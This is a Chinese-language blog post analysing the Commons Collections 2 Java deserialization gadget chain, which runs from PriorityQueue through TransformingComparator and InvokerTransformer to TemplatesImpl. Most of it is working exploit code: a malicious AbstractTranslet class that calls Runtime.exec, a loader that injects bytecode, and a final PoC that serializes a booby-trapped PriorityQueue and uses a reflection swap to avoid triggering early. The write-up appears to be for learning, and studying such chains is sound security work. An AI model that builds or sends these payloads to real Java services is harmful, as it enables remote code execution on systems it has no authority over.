1. 程式人生 > 其它 >CommonsCollections2分析

CommonsCollections2分析

CommonsCollection2呼叫流程

整個呼叫鏈詳細版本

ObjectInputStream.readObject()
        |
PriorityQueue.readObject()
        |
PriorityQueue.heapify
        |
PriorityQueue.siftDown
        |
PriorityQueue.siftDownUsingComparator
        |
TransformingComparator.compare()
        |
InvokerTransformer.transform()
        
| TemplatesImpl.getTransletInstance | ->(動態建立的類)cc2.newInstance()->Runtime.exec()

官方呼叫鏈

/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 
*/

CommonsCollections2

在JDK1.8 8u71版本以後,對AnnotationInvocationHandlerreadobject進行了改寫。導致高版本中利用鏈無法使用。

所以cc2版本就沒用使用AnnotationInvocationHandler而時使用了TemplatesImpI+PriorityQueue 來構造利用鏈的。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 這個內建類, 這個類的騷操作就是,在呼叫他的 newTransformer 或者 getOutputProperties

(這個方法內部會呼叫 newTransformer) 時,會動態從位元組碼中重建一個類.

這就使得如果我們能操作位元組碼, 就能在建立類時執任意 java 程式碼.

第一步通過templatempI載入惡意類

TemplatesImpI類分析

這個類我們用來載入我們的惡意類。

分析getTransletInstance

這裡有兩個判斷條件

如果_name==null 返回null

如果_class==null就呼叫defineTransletClasses()下來跟進defineTransletClasses()

分析defineTransletClasses()

這裡如果_bytecodes==null就執行錯誤處理語句塊

看上圖程式碼緊接著進行獲取當前_class的getSuperclass()獲取超類 再進行判斷這個超類是不是包含在ABSTRACT_TRANSLET 如果存在澤執行if裡面的diamagnetic對_transletIndex賦值

這個常量中 可以跟進這個常量看看這個常量中儲存了什麼值

可以看到這裡對AbstractTranslet複製了AbstractTranslet這個類所以我們惡意類要繼承它

注意再獲取超類這裡 這裡我們就需要對_bytecodes中的惡意類進行繼承AbstractTranslet繼承之後才能完成這個條件

構造惡意類

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil  extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
惡意類程式碼

這裡我們可以構造我們初步測試能成功呼叫惡意類的poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
public class test2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
        //例項化TemplatesImpl
        TemplatesImpl templates=new TemplatesImpl();
        //獲取TemplatesImpl的Class
        Class tc=templates.getClass();
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //載入惡意類
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //呼叫
        templates.newTransformer();
    }
}
載入惡意位元組碼poc

載入惡意位元組碼poc的鏈子

TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()

接下來使用InvokerTransformer的反射去呼叫newTransformer()

InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator類分析

TransformingComparator是一個修飾器,和CC1中的ChainedTransformer類似。

TransformingComparator中的comparator在TransformingComparator的構造方法中,傳入了兩個值transformer和decorated

TransformingComparator呼叫compare方法時,就會呼叫傳入transformer物件的transform方法

具體實現是this.transformer在傳入ChainedTransformer後,會呼叫ChainedTransformer#transform反射鏈

我們在此可以構造 將反射呼叫的newTransformer傳進去

TransformingComparator comparator =new TransformingComparator(invokerTransformer);

這樣如果那塊呼叫了compare()就會呼叫this.invokerTransformer.transformer()

那麼接下來如何呼叫compare()?這就需要PriorityQueue登場了

PriorityQueue類分析

PriorityQueue是一個優先佇列,作用是用來排序,重點在於每次排序都要觸發傳入的比較器comparator的compare()方法 在CC2中,此類用於呼叫PriorityQueue重寫的readObject來作為觸發入口

readObject中呼叫了heapify() 注意這裡需要的for迴圈 這裡長度是2才能滿足條件 所以我們需要在建立好PriorityQueue之後再繼續往裡面add()新增元素

heapify()呼叫了siftdown()

sitdown()呼叫了siftDownUsingComparator()

siftDownUsingComparator()又呼叫了comparator.compare()

呼叫到comparator.compare()方法中

這裡就可以構造

PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
//將惡意類新增給PriorityQueue
priorityQueue.add(templates);
priorityQueue.add(2);
 1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 2 import org.apache.commons.collections4.comparators.TransformingComparator;
 3 import org.apache.commons.collections4.functors.InvokerTransformer;
 4 import java.io.*;
 5 import java.lang.reflect.*;
 6 import java.nio.file.Files;
 7 import java.nio.file.Paths;
 8 import java.util.PriorityQueue;
 9 
10 
11 public class CC2test {
12 
13     public static void main(String[] args)throws Exception {
14 
15 
16         TemplatesImpl templates=new TemplatesImpl(); //例項化TemplatesImpl
17         Class tc=templates.getClass(); //獲取templates的Classlass
18         Field nameField=tc.getDeclaredField("_name");//反射獲取templates中的_name
19         nameField.setAccessible(true); //暴力反射
20         nameField.set(templates,"aaaa"); //修改_name的值
21         Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射獲取templates中的_bytecodes
22         bytecodesField.setAccessible(true); //暴力反射
23         byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //獲取惡意類
24         byte[][] codes={code};
25         bytecodesField.set(templates,codes);//修改_bytecodes的值
26 
27         //反射呼叫newTransformer()
28         InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
29 
30         TransformingComparator transformingComparator=new TransformingComparator<>(invokerTransformer);
31 
32         PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
33         //將惡意類新增給PriorityQueue
34         priorityQueue.add(templates);
35         priorityQueue.add(2);
36 
37 
38         serialize(priorityQueue);
39         unserialize("ser.bin");
40 
41     }
42 
43     public static void serialize(Object obj) throws Exception{
44         ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
45         oss.writeObject(obj);
46     }
47 
48     public static void unserialize(Object obj) throws Exception{
49         ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
50         oss.readObject();
51     }
52 }
初步poc

執行的時候報了哥錯誤

這裡要防止它提前執行

將這裡置空 傳一個沒有的東西

TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));

當完PriorityQueue add()完之後再給它裡面賦值即可

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        //將惡意類新增給PriorityQueue
        priorityQueue.add(templates);
        priorityQueue.add(2);

        //將invokerTransformer給transformingComparator中的transformer
        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,invokerTransformer);

構建最終poc學習

 1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 2 import org.apache.commons.collections4.comparators.TransformingComparator;
 3 import org.apache.commons.collections4.functors.ConstantTransformer;
 4 import org.apache.commons.collections4.functors.InvokerTransformer;
 5 import java.io.*;
 6 import java.lang.reflect.*;
 7 import java.nio.file.Files;
 8 import java.nio.file.Paths;
 9 import java.util.PriorityQueue;
10 
11 
12 public class CC2test {
13 
14     public static void main(String[] args)throws Exception {
15 
16 
17         TemplatesImpl templates=new TemplatesImpl(); //例項化TemplatesImpl
18         Class tc=templates.getClass(); //獲取templates的Classlass
19         Field nameField=tc.getDeclaredField("_name");//反射獲取templates中的_name
20         nameField.setAccessible(true); //暴力反射
21         nameField.set(templates,"aaaa"); //修改_name的值
22         Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射獲取templates中的_bytecodes
23         bytecodesField.setAccessible(true); //暴力反射
24         byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //獲取惡意類
25         byte[][] codes={code};
26         bytecodesField.set(templates,codes);//修改_bytecodes的值
27 
28         //反射呼叫newTransformer()
29         InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
30 
31         //將TransformingComparator置空 防止再序列化時觸發惡意類
32         TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
33 
34 
35         PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
36         //將惡意類新增給PriorityQueue
37         priorityQueue.add(templates);
38         priorityQueue.add(2);
39 
40         //將invokerTransformer給transformingComparator中的transformer
41         Class c=transformingComparator.getClass();
42         Field transformField=c.getDeclaredField("transformer");
43         transformField.setAccessible(true);
44         transformField.set(transformingComparator,invokerTransformer);
45 
46         serialize(priorityQueue);
47         unserialize("ser.bin");
48 
49     }
50 
51     public static void serialize(Object obj) throws Exception{
52         ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
53         oss.writeObject(obj);
54     }
55 
56     public static void unserialize(Object obj) throws Exception{
57         ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
58         oss.readObject();
59     }
60 }

參考

  https://www.cnblogs.com/nice0e3/p/13860621.html#transformingcomparator

  《P牛的java程式碼審計》